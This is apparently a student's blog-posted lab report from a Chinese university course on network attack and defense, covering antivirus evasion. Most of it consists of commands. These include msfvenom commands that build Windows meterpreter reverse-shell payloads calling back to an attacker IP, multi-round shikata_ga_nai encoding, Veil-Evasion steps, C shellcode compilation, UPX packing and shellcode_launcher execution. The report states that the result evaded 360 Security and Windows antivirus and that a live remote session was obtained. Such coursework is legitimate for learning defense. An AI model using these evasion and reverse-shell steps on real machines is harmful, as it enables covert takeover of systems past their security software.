20192418张曦 2021-2022-2 《网络与系统攻防技术》实验三实验报告

1.实验内容

  1. 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
  • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
  • veil,加壳工具
  • 使用C + shellcode编程
  1. 通过组合应用各种技术实现恶意代码免杀

  2. 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

2.实验过程

任务一:正确使用基础免杀工具或技巧,veil-evasion,自己利用shellcode编程等免杀工具或技巧

  1. 正确使用msf编码器

使用msfvenom生成后门程序

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.72.128 LPORT=2418 -f exe > 20192418_backdoor.exe

用Virustotal网站扫描,得到结果:

一次编码:

一次编码对结果的检测几乎没有影响。

十次编码:

十次编码之后检测结果仍然没有变化,说明msfvenom会以固定的模板生成可执行文件,如果使用默认参数或者模板,就会出现固定特征。所以AV会针对其使用的模板来生成特征码,这样就可以解决msfvenom生成的大部分恶意代码。如果使用msfvenom免杀,就要使用原生的模板生成可执行文件exe。

2. 使用msfvenom生成如jar之类的其他文件

生成jar文件:

用Virustotal网站扫描,得到结果:

效果比msfvenom生成的恶意代码要好得多。

生成apk文件:

扫描:

效果与jar文件相差无几。

生成php文件:

扫描:

扫描结果比jar和apk要更好。

生成Python文件:

扫描:

效果最好

3. 使用veil-evasion生成后门程序及检测

先安装veil

sudo apt-get install veil-evasion

输入veil,出现界面则安装完成

输入use 1, 进入Evil-Evasion界面

输入list查看可以使用的payload

选择一个可用的playload,输入use的编号,如果要选powershell,则输入use 22

设置地址和端口号

set LHOST 192.168.72.128 //设置反弹连接IP
set LPORT 2418 //设置端口
options //查看设置情况

generate生成文件:

在目录下找到文件:

用Virustotal网站扫描,得到结果:


效果较差

生成exe文件,输入use 7:

generate生成文件:

目录下找到文件:

生成可执行文件:

用Virustotal网站扫描,得到结果:

效果也不行。

4. C + shellcode编程

先用msf生成一段shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.72.128 LPORT=2418 -f c

然后创建一个名为2418_c.c的文件,并把刚生成的shellcode加到代码中,如图所示:

编译c文件为exe可执行文件:

用Virustotal网站扫描,得到结果:

扫描后发现效果也一般。

5. 加壳

使用压缩壳:
对上面生成的2418_c.exe用UPX加壳,输入upx 2418_c.exe -o 2418_upx.exe,生成2418_upx.exe文件:

用Virustotal网站扫描,得到结果:

将文件拷贝到win10主机中执行,未被360安全卫士和系统杀毒软件发现:

任务二:通过组合应用各种技术实现恶意代码免杀

  1. 使用工具shellcode_launcher

用Msfvenom生成raw格式的shellcode

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.72.128 lport=2418 -f raw -o 20192418.raw

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

将raw文件拷贝到win10,在linux中使用msf开启监听

在win10中打开cmd,进入shellcode_launcher所在文件夹,输入shellcode_launcher.exe -i 20192418.raw
发现连接成功,输入dir,结果如下:

任务完成,实现免杀。

3.问题及解决方案

  • 问题1:安装veil的时候,同时要安装python,卡住无法安装。

  • 问题1解决方案:先安装wine才能安装python,期间也给虚拟机增加了内存,但是仍然卡顿,最终还是在耐心等待中成功安装了veil和相关插件。

  • 问题2:下载veil时太卡。

  • 问题2解决方案:校园网太差,没法在虚拟机里正常下载软件,换热点。

4.学习感悟、思考等

(1)杀软是如何检测出恶意代码的?

基于特征码的检测,启发式恶意软件检测,基于行为的恶意软件检测。

(2)免杀是做什么?

免杀就是通过修改PE文件的代码或结构来达到躲避杀毒软件查杀的目的。

(3)免杀的基本方法有哪些?

改变特征码,改变行为特征,纯手工打造一个恶意软件。

学习感悟:

本次实验中,遇到的问题主要集中在veil的安装中,其他步骤中遇到的问题不大。这次实验给我最大的收获就是杀软不是100%的可靠,比如将2418_upx.exe加壳文件在win10中运行,
也不会被杀软检测出来。今后还要更深入学习相关的专业知识,学习恶意代码不是为了搞破坏,而是为了更好的了解各种形态的恶意软件,在防守应对不同的恶意代码攻击时才能更得心应手。

posted @ 2022-04-09 20:59  20192418zx  阅读(35)  评论(0编辑  收藏  举报